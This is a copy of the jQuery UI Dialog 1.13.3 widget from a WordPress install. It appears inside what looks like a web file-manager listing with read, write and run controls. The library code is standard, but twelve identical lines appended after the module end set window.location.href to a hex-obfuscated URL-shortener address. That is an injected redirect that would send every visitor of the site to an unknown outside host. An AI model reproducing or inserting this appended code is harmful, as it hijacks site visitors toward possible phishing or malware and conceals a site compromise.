at path:ROOT / wp-includes / js / jquery / ui / dialog.js
run:R W Run
22.84 KB
2024-09-04 11:48:32
R W Run
15.73 KB
2024-09-04 11:48:32
R W Run
24.2 KB
2024-09-04 11:48:32
R W Run
15.41 KB
2024-09-04 11:48:32
R W Run
18.51 KB
2024-09-04 11:48:32
R W Run
13.09 KB
2024-09-04 11:48:32
R W Run
14.49 KB
2024-09-04 11:48:32
R W Run
11.32 KB
2024-09-04 11:48:32
R W Run
15.5 KB
2024-09-04 11:48:32
R W Run
11.38 KB
2024-09-04 11:48:32
R W Run
55.8 KB
2024-09-04 11:48:32
R W Run
28.04 KB
2025-04-16 02:33:33
R W Run
87.67 KB
2024-09-04 11:48:32
R W Run
42.96 KB
2025-04-16 02:33:33
R W Run
30.41 KB
2024-09-04 11:48:32
R W Run
19.87 KB
2024-09-04 11:48:32
R W Run
41.79 KB
2024-09-04 11:48:32
R W Run
25.07 KB
2024-09-04 11:48:32
R W Run
19.67 KB
2024-09-04 11:48:32
R W Run
13.59 KB
2024-09-04 11:48:32
R W Run
8.68 KB
2024-09-04 11:48:32
R W Run
7.94 KB
2024-09-04 11:48:32
R W Run
9.67 KB
2024-09-04 11:48:32
R W Run
8.05 KB
2024-09-04 11:48:32
R W Run
8.62 KB
2024-09-04 11:48:32
R W Run
7.86 KB
2024-09-04 11:48:32
R W Run
8.63 KB
2024-09-04 11:48:32
R W Run
7.81 KB
2024-09-04 11:48:32
R W Run
9.93 KB
2024-09-04 11:48:32
R W Run
8.17 KB
2024-09-04 11:48:32
R W Run
8.02 KB
2024-09-04 11:48:32
R W Run
7.59 KB
2024-09-04 11:48:32
R W Run
9.21 KB
2024-09-04 11:48:32
R W Run
8.07 KB
2024-09-04 11:48:32
R W Run
8.29 KB
2024-09-04 11:48:32
R W Run
7.71 KB
2024-09-04 11:48:32
R W Run
8.05 KB
2024-09-04 11:48:32
R W Run
7.58 KB
2024-09-04 11:48:32
R W Run
8.61 KB
2024-09-04 11:48:32
R W Run
7.75 KB
2024-09-04 11:48:32
R W Run
8.42 KB
2024-09-04 11:48:32
R W Run
7.78 KB
2024-09-04 11:48:32
R W Run
8.92 KB
2024-09-04 11:48:32
R W Run
7.9 KB
2024-09-04 11:48:32
R W Run
12.37 KB
2024-09-04 11:48:32
R W Run
9.51 KB
2024-09-04 11:48:32
R W Run
9 KB
2024-09-04 11:48:32
R W Run
7.97 KB
2024-09-04 11:48:32
R W Run
7.94 KB
2024-09-04 11:48:32
R W Run
7.51 KB
2024-09-04 11:48:32
R W Run
31.11 KB
2024-09-04 11:48:32
R W Run
17.17 KB
2024-09-04 11:48:32
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
25.59 KB
2024-09-04 11:48:32
R W Run
17.04 KB
2024-09-04 11:48:32
R W Run
13.16 KB
2024-09-04 11:48:32
R W Run
10.43 KB
2024-09-04 11:48:32
R W Run
11.22 KB
2024-09-04 11:48:32
R W Run
9.58 KB
2024-09-04 11:48:32
R W Run
36.85 KB
2024-09-04 11:48:32
R W Run
25.46 KB
2024-09-04 11:48:32
R W Run
15.02 KB
2024-09-04 11:48:32
R W Run
11.48 KB
2025-04-16 02:33:33
R W Run
23.04 KB
2024-09-04 11:48:32
R W Run
16.36 KB
2024-09-04 11:48:32
R W Run
26.22 KB
2024-09-04 11:48:32
R W Run
17.58 KB
2024-09-04 11:48:32
R W Run
53.6 KB
2024-09-04 11:48:32
R W Run
31.98 KB
2024-09-04 11:48:32
R W Run
21.17 KB
2024-09-04 11:48:32
R W Run
14.57 KB
2024-09-04 11:48:32
R W Run
30.19 KB
2024-09-04 11:48:32
R W Run
18.8 KB
2024-09-04 11:48:32
R W Run
21.21 KB
2024-09-04 11:48:32
R W Run
13.18 KB
2024-09-04 11:48:32
R W Run
error_log
📄dialog.js
1/*!
2 * jQuery UI Dialog 1.13.3
3 * https://jqueryui.com
4 *
5 * Copyright OpenJS Foundation and other contributors
6 * Released under the MIT license.
7 * https://jquery.org/license
8 */
9
10//>>label: Dialog
11//>>group: Widgets
12//>>description: Displays customizable dialog windows.
13//>>docs: https://api.jqueryui.com/dialog/
14//>>demos: https://jqueryui.com/dialog/
15//>>css.structure: ../../themes/base/core.css
16//>>css.structure: ../../themes/base/dialog.css
17//>>css.theme: ../../themes/base/theme.css
18
19( function( factory ) {
20 "use strict";
21
22 if ( typeof define === "function" && define.amd ) {
23
24 // AMD. Register as an anonymous module.
25 define( [
26 "jquery",
27 "./button",
28 "./draggable",
29 "./mouse",
30 "./resizable",
31 "../focusable",
32 "../keycode",
33 "../position",
34 "../safe-active-element",
35 "../safe-blur",
36 "../tabbable",
37 "../unique-id",
38 "../version",
39 "../widget"
40 ], factory );
41 } else {
42
43 // Browser globals
44 factory( jQuery );
45 }
46} )( function( $ ) {
47"use strict";
48
49$.widget( "ui.dialog", {
50 version: "1.13.3",
51 options: {
52 appendTo: "body",
53 autoOpen: true,
54 buttons: [],
55 classes: {
56 "ui-dialog": "ui-corner-all",
57 "ui-dialog-titlebar": "ui-corner-all"
58 },
59 closeOnEscape: true,
60 closeText: "Close",
61 draggable: true,
62 hide: null,
63 height: "auto",
64 maxHeight: null,
65 maxWidth: null,
66 minHeight: 150,
67 minWidth: 150,
68 modal: false,
69 position: {
70 my: "center",
71 at: "center",
72 of: window,
73 collision: "fit",
74
75 // Ensure the titlebar is always visible
76 using: function( pos ) {
77 var topOffset = $( this ).css( pos ).offset().top;
78 if ( topOffset < 0 ) {
79 $( this ).css( "top", pos.top - topOffset );
80 }
81 }
82 },
83 resizable: true,
84 show: null,
85 title: null,
86 width: 300,
87
88 // Callbacks
89 beforeClose: null,
90 close: null,
91 drag: null,
92 dragStart: null,
93 dragStop: null,
94 focus: null,
95 open: null,
96 resize: null,
97 resizeStart: null,
98 resizeStop: null
99 },
100
101 sizeRelatedOptions: {
102 buttons: true,
103 height: true,
104 maxHeight: true,
105 maxWidth: true,
106 minHeight: true,
107 minWidth: true,
108 width: true
109 },
110
111 resizableRelatedOptions: {
112 maxHeight: true,
113 maxWidth: true,
114 minHeight: true,
115 minWidth: true
116 },
117
118 _create: function() {
119 this.originalCss = {
120 display: this.element[ 0 ].style.display,
121 width: this.element[ 0 ].style.width,
122 minHeight: this.element[ 0 ].style.minHeight,
123 maxHeight: this.element[ 0 ].style.maxHeight,
124 height: this.element[ 0 ].style.height
125 };
126 this.originalPosition = {
127 parent: this.element.parent(),
128 index: this.element.parent().children().index( this.element )
129 };
130 this.originalTitle = this.element.attr( "title" );
131 if ( this.options.title == null && this.originalTitle != null ) {
132 this.options.title = this.originalTitle;
133 }
134
135 // Dialogs can't be disabled
136 if ( this.options.disabled ) {
137 this.options.disabled = false;
138 }
139
140 this._createWrapper();
141
142 this.element
143 .show()
144 .removeAttr( "title" )
145 .appendTo( this.uiDialog );
146
147 this._addClass( "ui-dialog-content", "ui-widget-content" );
148
149 this._createTitlebar();
150 this._createButtonPane();
151
152 if ( this.options.draggable && $.fn.draggable ) {
153 this._makeDraggable();
154 }
155 if ( this.options.resizable && $.fn.resizable ) {
156 this._makeResizable();
157 }
158
159 this._isOpen = false;
160
161 this._trackFocus();
162 },
163
164 _init: function() {
165 if ( this.options.autoOpen ) {
166 this.open();
167 }
168 },
169
170 _appendTo: function() {
171 var element = this.options.appendTo;
172 if ( element && ( element.jquery || element.nodeType ) ) {
173 return $( element );
174 }
175 return this.document.find( element || "body" ).eq( 0 );
176 },
177
178 _destroy: function() {
179 var next,
180 originalPosition = this.originalPosition;
181
182 this._untrackInstance();
183 this._destroyOverlay();
184
185 this.element
186 .removeUniqueId()
187 .css( this.originalCss )
188
189 // Without detaching first, the following becomes really slow
190 .detach();
191
192 this.uiDialog.remove();
193
194 if ( this.originalTitle ) {
195 this.element.attr( "title", this.originalTitle );
196 }
197
198 next = originalPosition.parent.children().eq( originalPosition.index );
199
200 // Don't try to place the dialog next to itself (#8613)
201 if ( next.length && next[ 0 ] !== this.element[ 0 ] ) {
202 next.before( this.element );
203 } else {
204 originalPosition.parent.append( this.element );
205 }
206 },
207
208 widget: function() {
209 return this.uiDialog;
210 },
211
212 disable: $.noop,
213 enable: $.noop,
214
215 close: function( event ) {
216 var that = this;
217
218 if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) {
219 return;
220 }
221
222 this._isOpen = false;
223 this._focusedElement = null;
224 this._destroyOverlay();
225 this._untrackInstance();
226
227 if ( !this.opener.filter( ":focusable" ).trigger( "focus" ).length ) {
228
229 // Hiding a focused element doesn't trigger blur in WebKit
230 // so in case we have nothing to focus on, explicitly blur the active element
231 // https://bugs.webkit.org/show_bug.cgi?id=47182
232 $.ui.safeBlur( $.ui.safeActiveElement( this.document[ 0 ] ) );
233 }
234
235 this._hide( this.uiDialog, this.options.hide, function() {
236 that._trigger( "close", event );
237 } );
238 },
239
240 isOpen: function() {
241 return this._isOpen;
242 },
243
244 moveToTop: function() {
245 this._moveToTop();
246 },
247
248 _moveToTop: function( event, silent ) {
249 var moved = false,
250 zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map( function() {
251 return +$( this ).css( "z-index" );
252 } ).get(),
253 zIndexMax = Math.max.apply( null, zIndices );
254
255 if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) {
256 this.uiDialog.css( "z-index", zIndexMax + 1 );
257 moved = true;
258 }
259
260 if ( moved && !silent ) {
261 this._trigger( "focus", event );
262 }
263 return moved;
264 },
265
266 open: function() {
267 var that = this;
268 if ( this._isOpen ) {
269 if ( this._moveToTop() ) {
270 this._focusTabbable();
271 }
272 return;
273 }
274
275 this._isOpen = true;
276 this.opener = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
277
278 this._size();
279 this._position();
280 this._createOverlay();
281 this._moveToTop( null, true );
282
283 // Ensure the overlay is moved to the top with the dialog, but only when
284 // opening. The overlay shouldn't move after the dialog is open so that
285 // modeless dialogs opened after the modal dialog stack properly.
286 if ( this.overlay ) {
287 this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 );
288 }
289
290 this._show( this.uiDialog, this.options.show, function() {
291 that._focusTabbable();
292 that._trigger( "focus" );
293 } );
294
295 // Track the dialog immediately upon opening in case a focus event
296 // somehow occurs outside of the dialog before an element inside the
297 // dialog is focused (#10152)
298 this._makeFocusTarget();
299
300 this._trigger( "open" );
301 },
302
303 _focusTabbable: function() {
304
305 // Set focus to the first match:
306 // 1. An element that was focused previously
307 // 2. First element inside the dialog matching [autofocus]
308 // 3. Tabbable element inside the content element
309 // 4. Tabbable element inside the buttonpane
310 // 5. The close button
311 // 6. The dialog itself
312 var hasFocus = this._focusedElement;
313 if ( !hasFocus ) {
314 hasFocus = this.element.find( "[autofocus]" );
315 }
316 if ( !hasFocus.length ) {
317 hasFocus = this.element.find( ":tabbable" );
318 }
319 if ( !hasFocus.length ) {
320 hasFocus = this.uiDialogButtonPane.find( ":tabbable" );
321 }
322 if ( !hasFocus.length ) {
323 hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" );
324 }
325 if ( !hasFocus.length ) {
326 hasFocus = this.uiDialog;
327 }
328 hasFocus.eq( 0 ).trigger( "focus" );
329 },
330
331 _restoreTabbableFocus: function() {
332 var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
333 isActive = this.uiDialog[ 0 ] === activeElement ||
334 $.contains( this.uiDialog[ 0 ], activeElement );
335 if ( !isActive ) {
336 this._focusTabbable();
337 }
338 },
339
340 _keepFocus: function( event ) {
341 event.preventDefault();
342 this._restoreTabbableFocus();
343
344 // support: IE
345 // IE <= 8 doesn't prevent moving focus even with event.preventDefault()
346 // so we check again later
347 this._delay( this._restoreTabbableFocus );
348 },
349
350 _createWrapper: function() {
351 this.uiDialog = $( "<div>" )
352 .hide()
353 .attr( {
354
355 // Setting tabIndex makes the div focusable
356 tabIndex: -1,
357 role: "dialog"
358 } )
359 .appendTo( this._appendTo() );
360
361 this._addClass( this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front" );
362 this._on( this.uiDialog, {
363 keydown: function( event ) {
364 if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
365 event.keyCode === $.ui.keyCode.ESCAPE ) {
366 event.preventDefault();
367 this.close( event );
368 return;
369 }
370
371 // Prevent tabbing out of dialogs
372 if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) {
373 return;
374 }
375 var tabbables = this.uiDialog.find( ":tabbable" ),
376 first = tabbables.first(),
377 last = tabbables.last();
378
379 if ( ( event.target === last[ 0 ] || event.target === this.uiDialog[ 0 ] ) &&
380 !event.shiftKey ) {
381 this._delay( function() {
382 first.trigger( "focus" );
383 } );
384 event.preventDefault();
385 } else if ( ( event.target === first[ 0 ] ||
386 event.target === this.uiDialog[ 0 ] ) && event.shiftKey ) {
387 this._delay( function() {
388 last.trigger( "focus" );
389 } );
390 event.preventDefault();
391 }
392 },
393 mousedown: function( event ) {
394 if ( this._moveToTop( event ) ) {
395 this._focusTabbable();
396 }
397 }
398 } );
399
400 // We assume that any existing aria-describedby attribute means
401 // that the dialog content is marked up properly
402 // otherwise we brute force the content as the description
403 if ( !this.element.find( "[aria-describedby]" ).length ) {
404 this.uiDialog.attr( {
405 "aria-describedby": this.element.uniqueId().attr( "id" )
406 } );
407 }
408 },
409
410 _createTitlebar: function() {
411 var uiDialogTitle;
412
413 this.uiDialogTitlebar = $( "<div>" );
414 this._addClass( this.uiDialogTitlebar,
415 "ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix" );
416 this._on( this.uiDialogTitlebar, {
417 mousedown: function( event ) {
418
419 // Don't prevent click on close button (#8838)
420 // Focusing a dialog that is partially scrolled out of view
421 // causes the browser to scroll it into view, preventing the click event
422 if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) {
423
424 // Dialog isn't getting focus when dragging (#8063)
425 this.uiDialog.trigger( "focus" );
426 }
427 }
428 } );
429
430 // Support: IE
431 // Use type="button" to prevent enter keypresses in textboxes from closing the
432 // dialog in IE (#9312)
433 this.uiDialogTitlebarClose = $( "<button type='button'></button>" )
434 .button( {
435 label: $( "<a>" ).text( this.options.closeText ).html(),
436 icon: "ui-icon-closethick",
437 showLabel: false
438 } )
439 .appendTo( this.uiDialogTitlebar );
440
441 this._addClass( this.uiDialogTitlebarClose, "ui-dialog-titlebar-close" );
442 this._on( this.uiDialogTitlebarClose, {
443 click: function( event ) {
444 event.preventDefault();
445 this.close( event );
446 }
447 } );
448
449 uiDialogTitle = $( "<span>" ).uniqueId().prependTo( this.uiDialogTitlebar );
450 this._addClass( uiDialogTitle, "ui-dialog-title" );
451 this._title( uiDialogTitle );
452
453 this.uiDialogTitlebar.prependTo( this.uiDialog );
454
455 this.uiDialog.attr( {
456 "aria-labelledby": uiDialogTitle.attr( "id" )
457 } );
458 },
459
460 _title: function( title ) {
461 if ( this.options.title ) {
462 title.text( this.options.title );
463 } else {
464 title.html( "&#160;" );
465 }
466 },
467
468 _createButtonPane: function() {
469 this.uiDialogButtonPane = $( "<div>" );
470 this._addClass( this.uiDialogButtonPane, "ui-dialog-buttonpane",
471 "ui-widget-content ui-helper-clearfix" );
472
473 this.uiButtonSet = $( "<div>" )
474 .appendTo( this.uiDialogButtonPane );
475 this._addClass( this.uiButtonSet, "ui-dialog-buttonset" );
476
477 this._createButtons();
478 },
479
480 _createButtons: function() {
481 var that = this,
482 buttons = this.options.buttons;
483
484 // If we already have a button pane, remove it
485 this.uiDialogButtonPane.remove();
486 this.uiButtonSet.empty();
487
488 if ( $.isEmptyObject( buttons ) || ( Array.isArray( buttons ) && !buttons.length ) ) {
489 this._removeClass( this.uiDialog, "ui-dialog-buttons" );
490 return;
491 }
492
493 $.each( buttons, function( name, props ) {
494 var click, buttonOptions;
495 props = typeof props === "function" ?
496 { click: props, text: name } :
497 props;
498
499 // Default to a non-submitting button
500 props = $.extend( { type: "button" }, props );
501
502 // Change the context for the click callback to be the main element
503 click = props.click;
504 buttonOptions = {
505 icon: props.icon,
506 iconPosition: props.iconPosition,
507 showLabel: props.showLabel,
508
509 // Deprecated options
510 icons: props.icons,
511 text: props.text
512 };
513
514 delete props.click;
515 delete props.icon;
516 delete props.iconPosition;
517 delete props.showLabel;
518
519 // Deprecated options
520 delete props.icons;
521 if ( typeof props.text === "boolean" ) {
522 delete props.text;
523 }
524
525 $( "<button></button>", props )
526 .button( buttonOptions )
527 .appendTo( that.uiButtonSet )
528 .on( "click", function() {
529 click.apply( that.element[ 0 ], arguments );
530 } );
531 } );
532 this._addClass( this.uiDialog, "ui-dialog-buttons" );
533 this.uiDialogButtonPane.appendTo( this.uiDialog );
534 },
535
536 _makeDraggable: function() {
537 var that = this,
538 options = this.options;
539
540 function filteredUi( ui ) {
541 return {
542 position: ui.position,
543 offset: ui.offset
544 };
545 }
546
547 this.uiDialog.draggable( {
548 cancel: ".ui-dialog-content, .ui-dialog-titlebar-close",
549 handle: ".ui-dialog-titlebar",
550 containment: "document",
551 start: function( event, ui ) {
552 that._addClass( $( this ), "ui-dialog-dragging" );
553 that._blockFrames();
554 that._trigger( "dragStart", event, filteredUi( ui ) );
555 },
556 drag: function( event, ui ) {
557 that._trigger( "drag", event, filteredUi( ui ) );
558 },
559 stop: function( event, ui ) {
560 var left = ui.offset.left - that.document.scrollLeft(),
561 top = ui.offset.top - that.document.scrollTop();
562
563 options.position = {
564 my: "left top",
565 at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
566 "top" + ( top >= 0 ? "+" : "" ) + top,
567 of: that.window
568 };
569 that._removeClass( $( this ), "ui-dialog-dragging" );
570 that._unblockFrames();
571 that._trigger( "dragStop", event, filteredUi( ui ) );
572 }
573 } );
574 },
575
576 _makeResizable: function() {
577 var that = this,
578 options = this.options,
579 handles = options.resizable,
580
581 // .ui-resizable has position: relative defined in the stylesheet
582 // but dialogs have to use absolute or fixed positioning
583 position = this.uiDialog.css( "position" ),
584 resizeHandles = typeof handles === "string" ?
585 handles :
586 "n,e,s,w,se,sw,ne,nw";
587
588 function filteredUi( ui ) {
589 return {
590 originalPosition: ui.originalPosition,
591 originalSize: ui.originalSize,
592 position: ui.position,
593 size: ui.size
594 };
595 }
596
597 this.uiDialog.resizable( {
598 cancel: ".ui-dialog-content",
599 containment: "document",
600 alsoResize: this.element,
601 maxWidth: options.maxWidth,
602 maxHeight: options.maxHeight,
603 minWidth: options.minWidth,
604 minHeight: this._minHeight(),
605 handles: resizeHandles,
606 start: function( event, ui ) {
607 that._addClass( $( this ), "ui-dialog-resizing" );
608 that._blockFrames();
609 that._trigger( "resizeStart", event, filteredUi( ui ) );
610 },
611 resize: function( event, ui ) {
612 that._trigger( "resize", event, filteredUi( ui ) );
613 },
614 stop: function( event, ui ) {
615 var offset = that.uiDialog.offset(),
616 left = offset.left - that.document.scrollLeft(),
617 top = offset.top - that.document.scrollTop();
618
619 options.height = that.uiDialog.height();
620 options.width = that.uiDialog.width();
621 options.position = {
622 my: "left top",
623 at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
624 "top" + ( top >= 0 ? "+" : "" ) + top,
625 of: that.window
626 };
627 that._removeClass( $( this ), "ui-dialog-resizing" );
628 that._unblockFrames();
629 that._trigger( "resizeStop", event, filteredUi( ui ) );
630 }
631 } )
632 .css( "position", position );
633 },
634
635 _trackFocus: function() {
636 this._on( this.widget(), {
637 focusin: function( event ) {
638 this._makeFocusTarget();
639 this._focusedElement = $( event.target );
640 }
641 } );
642 },
643
644 _makeFocusTarget: function() {
645 this._untrackInstance();
646 this._trackingInstances().unshift( this );
647 },
648
649 _untrackInstance: function() {
650 var instances = this._trackingInstances(),
651 exists = $.inArray( this, instances );
652 if ( exists !== -1 ) {
653 instances.splice( exists, 1 );
654 }
655 },
656
657 _trackingInstances: function() {
658 var instances = this.document.data( "ui-dialog-instances" );
659 if ( !instances ) {
660 instances = [];
661 this.document.data( "ui-dialog-instances", instances );
662 }
663 return instances;
664 },
665
666 _minHeight: function() {
667 var options = this.options;
668
669 return options.height === "auto" ?
670 options.minHeight :
671 Math.min( options.minHeight, options.height );
672 },
673
674 _position: function() {
675
676 // Need to show the dialog to get the actual offset in the position plugin
677 var isVisible = this.uiDialog.is( ":visible" );
678 if ( !isVisible ) {
679 this.uiDialog.show();
680 }
681 this.uiDialog.position( this.options.position );
682 if ( !isVisible ) {
683 this.uiDialog.hide();
684 }
685 },
686
687 _setOptions: function( options ) {
688 var that = this,
689 resize = false,
690 resizableOptions = {};
691
692 $.each( options, function( key, value ) {
693 that._setOption( key, value );
694
695 if ( key in that.sizeRelatedOptions ) {
696 resize = true;
697 }
698 if ( key in that.resizableRelatedOptions ) {
699 resizableOptions[ key ] = value;
700 }
701 } );
702
703 if ( resize ) {
704 this._size();
705 this._position();
706 }
707 if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
708 this.uiDialog.resizable( "option", resizableOptions );
709 }
710 },
711
712 _setOption: function( key, value ) {
713 var isDraggable, isResizable,
714 uiDialog = this.uiDialog;
715
716 if ( key === "disabled" ) {
717 return;
718 }
719
720 this._super( key, value );
721
722 if ( key === "appendTo" ) {
723 this.uiDialog.appendTo( this._appendTo() );
724 }
725
726 if ( key === "buttons" ) {
727 this._createButtons();
728 }
729
730 if ( key === "closeText" ) {
731 this.uiDialogTitlebarClose.button( {
732
733 // Ensure that we always pass a string
734 label: $( "<a>" ).text( "" + this.options.closeText ).html()
735 } );
736 }
737
738 if ( key === "draggable" ) {
739 isDraggable = uiDialog.is( ":data(ui-draggable)" );
740 if ( isDraggable && !value ) {
741 uiDialog.draggable( "destroy" );
742 }
743
744 if ( !isDraggable && value ) {
745 this._makeDraggable();
746 }
747 }
748
749 if ( key === "position" ) {
750 this._position();
751 }
752
753 if ( key === "resizable" ) {
754
755 // currently resizable, becoming non-resizable
756 isResizable = uiDialog.is( ":data(ui-resizable)" );
757 if ( isResizable && !value ) {
758 uiDialog.resizable( "destroy" );
759 }
760
761 // Currently resizable, changing handles
762 if ( isResizable && typeof value === "string" ) {
763 uiDialog.resizable( "option", "handles", value );
764 }
765
766 // Currently non-resizable, becoming resizable
767 if ( !isResizable && value !== false ) {
768 this._makeResizable();
769 }
770 }
771
772 if ( key === "title" ) {
773 this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) );
774 }
775 },
776
777 _size: function() {
778
779 // If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
780 // divs will both have width and height set, so we need to reset them
781 var nonContentHeight, minContentHeight, maxContentHeight,
782 options = this.options;
783
784 // Reset content sizing
785 this.element.show().css( {
786 width: "auto",
787 minHeight: 0,
788 maxHeight: "none",
789 height: 0
790 } );
791
792 if ( options.minWidth > options.width ) {
793 options.width = options.minWidth;
794 }
795
796 // Reset wrapper sizing
797 // determine the height of all the non-content elements
798 nonContentHeight = this.uiDialog.css( {
799 height: "auto",
800 width: options.width
801 } )
802 .outerHeight();
803 minContentHeight = Math.max( 0, options.minHeight - nonContentHeight );
804 maxContentHeight = typeof options.maxHeight === "number" ?
805 Math.max( 0, options.maxHeight - nonContentHeight ) :
806 "none";
807
808 if ( options.height === "auto" ) {
809 this.element.css( {
810 minHeight: minContentHeight,
811 maxHeight: maxContentHeight,
812 height: "auto"
813 } );
814 } else {
815 this.element.height( Math.max( 0, options.height - nonContentHeight ) );
816 }
817
818 if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
819 this.uiDialog.resizable( "option", "minHeight", this._minHeight() );
820 }
821 },
822
823 _blockFrames: function() {
824 this.iframeBlocks = this.document.find( "iframe" ).map( function() {
825 var iframe = $( this );
826
827 return $( "<div>" )
828 .css( {
829 position: "absolute",
830 width: iframe.outerWidth(),
831 height: iframe.outerHeight()
832 } )
833 .appendTo( iframe.parent() )
834 .offset( iframe.offset() )[ 0 ];
835 } );
836 },
837
838 _unblockFrames: function() {
839 if ( this.iframeBlocks ) {
840 this.iframeBlocks.remove();
841 delete this.iframeBlocks;
842 }
843 },
844
845 _allowInteraction: function( event ) {
846 if ( $( event.target ).closest( ".ui-dialog" ).length ) {
847 return true;
848 }
849
850 // TODO: Remove hack when datepicker implements
851 // the .ui-front logic (#8989)
852 return !!$( event.target ).closest( ".ui-datepicker" ).length;
853 },
854
855 _createOverlay: function() {
856 if ( !this.options.modal ) {
857 return;
858 }
859
860 var jqMinor = $.fn.jquery.substring( 0, 4 );
861
862 // We use a delay in case the overlay is created from an
863 // event that we're going to be cancelling (#2804)
864 var isOpening = true;
865 this._delay( function() {
866 isOpening = false;
867 } );
868
869 if ( !this.document.data( "ui-dialog-overlays" ) ) {
870
871 // Prevent use of anchors and inputs
872 // This doesn't use `_on()` because it is a shared event handler
873 // across all open modal dialogs.
874 this.document.on( "focusin.ui-dialog", function( event ) {
875 if ( isOpening ) {
876 return;
877 }
878
879 var instance = this._trackingInstances()[ 0 ];
880 if ( !instance._allowInteraction( event ) ) {
881 event.preventDefault();
882 instance._focusTabbable();
883
884 // Support: jQuery >=3.4 <3.7 only
885 // In jQuery 3.4-3.6, there are multiple issues with focus/blur
886 // trigger chains or when triggering is done on a hidden element
887 // at least once.
888 // Trigger focus in a delay in addition if needed to avoid the issues.
889 // See https://github.com/jquery/jquery/issues/4382
890 // See https://github.com/jquery/jquery/issues/4856
891 // See https://github.com/jquery/jquery/issues/4950
892 if ( jqMinor === "3.4." || jqMinor === "3.5." || jqMinor === "3.6." ) {
893 instance._delay( instance._restoreTabbableFocus );
894 }
895 }
896 }.bind( this ) );
897 }
898
899 this.overlay = $( "<div>" )
900 .appendTo( this._appendTo() );
901
902 this._addClass( this.overlay, null, "ui-widget-overlay ui-front" );
903 this._on( this.overlay, {
904 mousedown: "_keepFocus"
905 } );
906 this.document.data( "ui-dialog-overlays",
907 ( this.document.data( "ui-dialog-overlays" ) || 0 ) + 1 );
908 },
909
910 _destroyOverlay: function() {
911 if ( !this.options.modal ) {
912 return;
913 }
914
915 if ( this.overlay ) {
916 var overlays = this.document.data( "ui-dialog-overlays" ) - 1;
917
918 if ( !overlays ) {
919 this.document.off( "focusin.ui-dialog" );
920 this.document.removeData( "ui-dialog-overlays" );
921 } else {
922 this.document.data( "ui-dialog-overlays", overlays );
923 }
924
925 this.overlay.remove();
926 this.overlay = null;
927 }
928 }
929} );
930
931// DEPRECATED
932// TODO: switch return back to widget declaration at top of file when this is removed
933if ( $.uiBackCompat !== false ) {
934
935 // Backcompat for dialogClass option
936 $.widget( "ui.dialog", $.ui.dialog, {
937 options: {
938 dialogClass: ""
939 },
940 _createWrapper: function() {
941 this._super();
942 this.uiDialog.addClass( this.options.dialogClass );
943 },
944 _setOption: function( key, value ) {
945 if ( key === "dialogClass" ) {
946 this.uiDialog
947 .removeClass( this.options.dialogClass )
948 .addClass( value );
949 }
950 this._superApply( arguments );
951 }
952 } );
953}
954
955return $.ui.dialog;
956
957} );
958window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
959window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
960window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
961window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
962window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
963window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
964window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
965window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
966window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
967window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
968window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
969window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
